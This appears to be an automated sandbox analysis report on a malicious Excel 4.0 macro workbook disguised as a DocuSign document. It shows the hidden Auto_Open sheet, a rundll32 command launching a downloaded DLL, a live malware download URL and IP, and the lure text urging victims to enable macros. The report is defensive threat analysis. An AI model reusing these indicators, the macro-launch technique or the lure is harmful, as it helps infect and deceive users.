Loading ...

Play interactive tourEdit tour

Analysis Report Calculation-1972568702-01262021.xlsm

Overview

General Information

Sample Name:Calculation-1972568702-01262021.xlsm
Analysis ID:344651
MD5:0104ed5f70a92ad434657225558532b7
SHA1:d0207be667b2f90289448078f922f0c6201cd25e
SHA256:fcc1bb0b8b6cbe484900163503f774dfad2074649247717b5c8993c560b69a0d

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Sigma detected: Microsoft Office Product Spawning Windows Shell
Excel documents contains an embedded macro which executes code when the document is opened
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication

Classification

Startup

  • System is w10x64
  • EXCEL.EXE (PID: 5560 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • rundll32.exe (PID: 5388 cmdline: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

barindex
Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, CommandLine: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 5560, ProcessCommandLine: rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer, ProcessId: 5388

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Antivirus detection for URL or domainShow sources
Source: http://test.limulustest.ru/invzovg/5319402.jpgAvira URL Cloud: Label: malware

Compliance:

barindex
Uses new MSVCR DllsShow sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (UrlDownloadToFile)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileAJump to behavior
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\rundll32.exeJump to behavior
Source: global trafficDNS query: name: test.limulustest.ru
Source: global trafficTCP traffic: 192.168.2.5:49716 -> 188.225.73.5:80
Source: global trafficTCP traffic: 192.168.2.5:49716 -> 188.225.73.5:80
Source: global trafficHTTP traffic detected: GET /invzovg/5319402.jpg HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: test.limulustest.ruConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /invzovg/5319402.jpg HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: test.limulustest.ruConnection: Keep-Alive
Source: unknownDNS traffic detected: queries for: test.limulustest.ru
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.aadrm.com/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.cortana.ai
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.diagnostics.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.office.net
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.onedrive.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://apis.live.net/v5.0/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://augloop.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://augloop.office.com/v2
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://cdn.entity.
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://clients.config.office.net/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://config.edge.skype.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentities
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://contentstorage.omex.office.net/addinclassifier/officeentitiesupdated
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://cortana.ai
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://cortana.ai/api
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://cr.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://dataservice.o365filtering.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://dev.cortana.ai
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://devnull.onenote.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://directory.services.
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://graph.ppe.windows.net
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://graph.ppe.windows.net/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://graph.windows.net
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://graph.windows.net/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://lifecycle.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://login.microsoftonline.com/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://login.windows.local
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://management.azure.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://management.azure.com/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://messaging.office.com/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://ncus-000.contentsync.
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://ncus-000.pagecontentsync.
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://officeapps.live.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://onedrive.live.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://onedrive.live.com/embed?
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://outlook.office.com/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://outlook.office365.com/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://powerlift.acompli.net
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://settings.outlook.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://shell.suite.office.com:1443
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://staging.cortana.ai
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://store.office.com/addinstemplate
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://store.office.de/addinstemplate
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://tasks.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://templatelogging.office.com/client/log
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://webshell.suite.office.com
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://wus2-000.contentsync.
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://wus2-000.pagecontentsync.
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: E7E79C12-1EE9-4759-8A01-580DF683B6A5.0.drString found in binary or memory: https://www.odwebp.svc.ms

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
Source: Document image extraction number: 2Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing, please click Enable Content
Source: Document image extraction number: 2Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 8Screenshot OCR: Enable Editing from the yellow bar above @Once You have Enable Editing, please click Enable Conten
Source: Document image extraction number: 8Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? wYou are using IDS or Andr
Found Excel 4.0 Macro with suspicious formulasShow sources
Source: Calculation-1972568702-01262021.xlsmInitial sample: EXEC
Source: workbook.xmlBinary string: <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="xl" lastEdited="5" lowestEdited="4" rupBuild="9302"/><workbookPr filterPrivacy="1" defaultThemeVersion="124226"/><bookViews><workbookView xWindow="240" yWindow="105" windowWidth="14805" windowHeight="8010"/></bookViews><sheets><sheet name="DocuSign" sheetId="5" r:id="rId1"/><sheet name="Lodet" sheetId="4" state="hidden" r:id="rId2"/><sheet name="kOTI" sheetId="1" state="hidden" r:id="rId3"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">Lodet!$A$154</definedName></definedNames><calcPr calcId="144525"/></workbook>
Source: classification engineClassification label: mal72.expl.evad.winXLSM@3/11@1/1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{7F796288-F495-47B5-BEBF-DA1C98A154EC} - OProcSessId.datJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Windows\SysWOW64\rundll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknownProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServerJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: Calculation-1972568702-01262021.xlsmInitial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Calculation-1972568702-01262021.xlsmInitial sample: OLE zip file path = xl/media/image1.png
Source: Calculation-1972568702-01262021.xlsmInitial sample: OLE zip file path = xl/media/image3.png
Source: Calculation-1972568702-01262021.xlsmInitial sample: OLE zip file path = xl/media/image2.png
Source: Calculation-1972568702-01262021.xlsmInitial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: Calculation-1972568702-01262021.xlsmInitial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: Calculation-1972568702-01262021.xlsmInitial sample: OLE zip file path = xl/calcChain.xml
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
